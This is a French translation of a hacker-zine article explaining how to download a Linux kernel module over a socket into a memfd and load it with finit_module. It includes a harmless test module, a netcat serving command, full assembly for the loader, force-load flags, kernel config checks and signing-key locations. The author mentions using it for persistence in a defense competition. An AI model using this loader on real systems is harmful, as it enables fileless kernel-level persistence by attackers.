┌───────────────────────┐
▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄ │
│ █ █ █ █ █ █ │
│ █ █ █ █ █▀▀▀▀ │
│ █ █ █ █ ▄ │
│ ▄▄▄▄▄ │
│ █ █ │
│ █ █ │
│ █▄▄▄█ │
│ ▄ ▄ │
│ █ █ │
│ █ █ │
│ █▄▄▄█ │
│ ▄▄▄▄▄ │
│ █ │
Chargement en mémoire de module noyau │ █ │
~ netspooky └───────────────────█ ──┘
[ Traduction par 0xNinja ]
Puisque certains changements au noyau Linux, apparus ces quelques années
précédentes, ont bouleversé l'ancienne méthode de golf de binaires x86_64, j'ai
pensé qu'il serait bon de me pencher sur une technique de chargement de module
noyau à partir de ressources distantes. Nous allons voir deux appels système
utiles, ainsi que quelques points à considérer lors de l'emploi de cette
technique.
───[ Création d'un module de test ]─────────────────────────────────────────────
We will start by building a simple kernel module to test with. All it will do is
print a message to the kernel ring buffer (view with the `dmesg` command).
Nous allons commencer par créer un simple module noyau. Tout ce qu'il fait est
d'écrire un message au tampon noyau (visible avec la commande `dmesg`).
// bang.c
#include <linux/module.h>
#include <linux/init.h>
MODULE_LICENSE("GPL");
static int __init he(void) {
printk(KERN_INFO"we out here :}\n");
return 0;
}
static void __exit le(void) {
printk(KERN_INFO"we are no longer out here :{\n");
}
module_init(he);
module_exit(le);
Le Makefile qui va avec :
obj-m += bang.o
dir = $(shell uname -rm | sed -e 's/\s/\-/')
all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
strip: all
strip bang.ko
mkdir -p $(dir)
cp -v bang.ko $(dir)/he.ko
load: all
sudo insmod bang.ko
unload:
sudo rmmod bang
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
Pour compiler le module, utiliser la commande `make`.
Pour le partage réseau sur le port 42000 : `cat bang.ko | nc -k -lvp 42000`
───[ Le chargeur ]──────────────────────────────────────────────────────────────
Le chargeur que nous allons utiliser est plutôt trivial, mais je vais le passer
en revue plus en détails pour ceux qui souhaitent apprendre.
Nous allons télécharger ce module dans un fichier en mémoire. Nous devons alors
commencer par ouvrir un socket sur notre serveur (127.0.0.1:42000) qui héberge
le module noyau. Nous allons ensuite créer un fichier memfd pour le téléverser
vers le client.
L'appel système memfd_create sert à utiliser des fichiers temporaires qui n'ont
rien à voir avec un système de fichiers. C'est une manière simple pour écrire
dans un fichier qui n'existe que lors du contexte d'exécution de votre programme
et permet d'avoir un descripteur de fichier avec un fichier temporaire.
Voici un exemple pour exécuter un fichier memfd depuis /proc/self/fd/4 :
https://github.com/netspooky/golfclub/blob/master/linux/dl_memfd_219.asm#L100
Maintenant que nous avons notre fichier memfd, nous allons lire le tampon du
socket depuis le serveur distant, et écrire le contenu dans notre descripteur
de fichier.
Une fois le fichier téléchargé dans notre fichier memfd, nous utilisons l'appel
finit_module pour charger un module noyau depuis un descripteur de fichier.
───[ kl.asm ]───────────────────────────────────────────────────────────────────
;-- Télécharge un module noyau depuis 127.0.0.1:42000 en mémoire et le charge --
; __ __ . __ __ __ __ . . . Mise en place :
; | ||__||_ |__ |__|| || ||_/| | $ cat somekernelmodule.ko | nc -lvp 42000
; | || | || |o ||o ||\ |__| Compilation :
; | ||__ |__ __|| |__||__|| \ __| $ nasm -f elf64 kl.asm ; ld kl.o -o kl
;-------------------------------------------------------------------------------
section .text
global _start
_start:
; socket -----------------------------------------------------------------------
; Setting up the socket
; int socket(int domain, int type, int protocol);
; rdi = int domain
; rsi = int type
; rdx = int protocol
;-------------------------------------------------------------------------------
push byte 0x29 ; Push socket syscall number
pop rax ; RAX = socket syscall
push byte 0x2 ; Push domain: AF_INET
pop rdi ; RDI = AF_INET
push byte 0x1 ; Push type: SOCK_STREAM
pop rsi ; RSI = SOCK_STREAM
cdq ; RDX = 0
syscall ; socket syscall
; connect ----------------------------------------------------------------------
; On se connecte au server pour récupérer le contenu du fichier
; int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
; rdi = int sockfd
; rsi = const struct sockaddr *addr
; rdx = socklen_t addrlen
;-------------------------------------------------------------------------------
xchg rdi, rax ; int sockfd
mov rbx, rdi ; Save sockfd in rbx too for later
mov dword [rsp-4], 0x100007F ; Our IP = 127.0.0.1
mov word [rsp-6], 0x10A4 ; Our Port = 42000
mov byte [rsp-8], 0x02 ; sockfd
sub rsp, 8 ; Line up
push byte 0x2a ; Push connect syscall number
pop rax ; RAX = connect syscall
mov rsi, rsp ; const struct sockaddr *addr
push byte 0x10 ; length
pop rdx ; length -> rdx
syscall ; Execute the connect syscall
; memfd_create -----------------------------------------------------------------
; On créer un fichier virtuel pour y écrire le contenu du tampon du socket
; int memfd_create(const char *name, unsigned int flags);
; rdi = const char *pathname
; rsi = int flags
;-------------------------------------------------------------------------------
mov ax, 0x13f ; The syscall
push 0x474e4142 ; Filename BANG (GNAB here)
mov rdi, rsp ; Arg0: The file name
xor rsi, rsi ; int flags
syscall ; Execute memfd_create syscall
; read -------------------------------------------------------------------------
; On lit le tampon du socket dans un autre tampon pour le sauvegarder en tant
; que fichier local
; ssize_t read(socket sockfd,buf,len)
; rdi = int fd
; rsi = void *buf
; rdx = size_t count
;-------------------------------------------------------------------------------
mov r9, rax ; Save the local file descriptor
mov rdx, 0x400 ; size_t count = 1024 bytes
rwloop:
mov rdi, rbx ; Move sockFD to RDI
xor rax, rax ; 0 is read sycall
lea rsi, [rsp-1024] ; buffer to hold output - arg1 *buf
syscall ; Read syscall
; write ------------------------------------------------------------------------
; On écrit le tampon du socket dans notre fichier local
; ssize_t sys_write(fd,*buf,count)
; rdi = int fd
; rsi = const *buf
; rdx = size_t count
;-------------------------------------------------------------------------------
mov rdi, r9 ; Copy the file descriptor from our local file
mov rdx, rax ; RDX = # of bytes read, 0 means end of file
xor rax, rax ; RAX = 0
mov al, 1 ; Syscall number
syscall ; Write syscall
cmp dx, 0x400 ; Check if there are still bytes left to read
je rwloop ; Loop if so
; finit_module -----------------------------------------------------------------
; Chargement du module noyau via son descripteur de fichier
; int finit_module(int fd, const char *param_values, int flags);
; rdi = int fd - The file descriptor
; rsi = const char *param_values
; rdx = int flags
;-------------------------------------------------------------------------------
xor rax, rax ; RAX = 0
push rax ; param_values
mov rsi, rsp ; RSI = *param_values
mov rax, 0x139 ; finit_module syscall
mov rdi, r9 ; int fd
xor rdx, rdx ; int flags
syscall ; finit_module syscall
;--- Exit ----------------------------------------------------------------------
; void exit(int status);
; rdi = int status
;-------------------------------------------------------------------------------
mov rax, 0x3c ; Exit Syscall
mov rdi, 0x45 ; Return 69 for integrity check
syscall ; Peace out
───[ Drapeaux finit_module ]────────────────────────────────────────────────────
L'appel système finit_module est assez intéressant car il permet de charger un
module noyau Linux. Normalement, cet appel charge un module depuis un pointeur
en mémoire. Cet appel charge un module depuis un descripteur de fichier, mais
il est possible de modifier les vérifications par défaut lors d'un chargement de
module. NOTE : les drapeaux de finit_module ne sont utilisables que si le noyau
cible permet le chargement forcé. (Voir la section suivante)
Les drapeaux à modifier sont définis dans include/uapi/linux/module.h, et sont
soumis à un OU logique puis donnés à l'appel système dans RDX.
/* Drapeaux pour sys_finit_module : */
#define MODULE_INIT_IGNORE_MODVERSIONS 1
#define MODULE_INIT_IGNORE_VERMAGIC 2
Le drapeau MODULE_INIT_IGNORE_MODVERSIONS ignore les condenssats des versions
des symboles, et MODULE_INIT_IGNORE_VERMAGIC ignore la valeur magique de la
version du noyau par le module. Ces deux valeurs permettent de forcer un
chargement d'un module dans le noyau lorsqu'il devrait être rejetté par ce
dernier. Cela peut engendrer des comportements inatendus, à utiliser avec
précaution !
finit_module décrit cette fonctionnalité comme :
..useful when the authenticity of a kernel module can be determined from its
location in the filesystem; in cases where that is possible, the overhead of
using cryptographically signed modules to determine the authenticity of a
module can be avoided.
- man 2 finit_module
... utile lorsque l'autenticité d'un module noyau peut être déterminée par sa
localisation dans le système ; dans les cas où c'est possible, l'utilisation
de modules signés cryptographiquement pour déterminer leur authenticité peut
être évitée.
───[ Déterminer la compatibilité ]──────────────────────────────────────────────
La partie complexe du chargement de module noyau en général est qu'il existe une
multitude de configurations qui permettent ou non certains types de modules, ou
moyens de charger un module dans le noyau. Ce sont ces attributs de
configuration qu'il faut regarder avant d'essayer de charger un module noyau.
::: CONFIG_MODVERSIONS :::
S'il est activé (ex CONFIG_MODVERSIONS=y), alors il est possible de charger des
modules compilés pour un autre noyau.
Vérification :
$ grep CONFIG_MODVERSIONS /boot/config-YOURKERNELVERSION
CONFIG_MODVERSIONS=y
Plus d'informations : https://cateee.net/lkddb/web-lkddb/MODVERSIONS.html
::: CONFIG_MODULE_SIG_FORCE :::
S'il est activé, il ne sera pas possible de charger des modules non signés.
Vérification :
$ grep CONFIG_MODULE_SIG_FORCE /boot/config-YOURKERNELVERSION
# CONFIG_MODULE_SIG_FORCE is not set
Plus d'informations : https://cateee.net/lkddb/web-lkddb/MODULE_SIG_FORCE.html
PROTIP : Il est possible d'énumérer dans le système les clés pré-existantes
selon le système cible.
Exemples
/var/lib/shim-signed/mok/MOK.priv & /var/lib/shim-signed/mok/MOK.der
/usr/src/LINUX/certs/signing_key.pem & /usr/src/LINUX/certs/signing_key.x509
::: CONFIG_MODULE_FORCE_LOAD :::
S'il est activé, permet le chargement de modules sans leur information de
version. Doit être activé si on souhaite utiliser les drapeaux de finit_module.
Dans le cas contraire, un échec avec l'erreur ENOEXEC est levé.
Vérification :
$ grep CONFIG_MODULE_FORCE_LOAD /boot/config-YOURKERNELVERSION
# CONFIG_MODULE_FORCE_LOAD is not set
Plus d'informations : https://cateee.net/lkddb/web-lkddb/MODULE_FORCE_LOAD.html
───[ .fini ]────────────────────────────────────────────────────────────────────
Nous avons utilisé cette technique pour golfer un chargeur de module noyau. Mais
aussi pendant le WRCCDC sous forme de one-liner pour établir une persistance ad
hoc sur plusieurs machines avec la même configuration.
Il s'agit-là d'une technique parmis tant d'autres pour charger un module noyau.
Il y a encore tant à explorer, et j'espère vous avoir inspiré pour vous amuser !
Dédicace à : tmp.0ut, thugcrowd, vxug, tcpd
PS. Attendez-vous à un nouvel article sur le charcutage (mangling) d'ELF dans
les prochains tmp.0ut !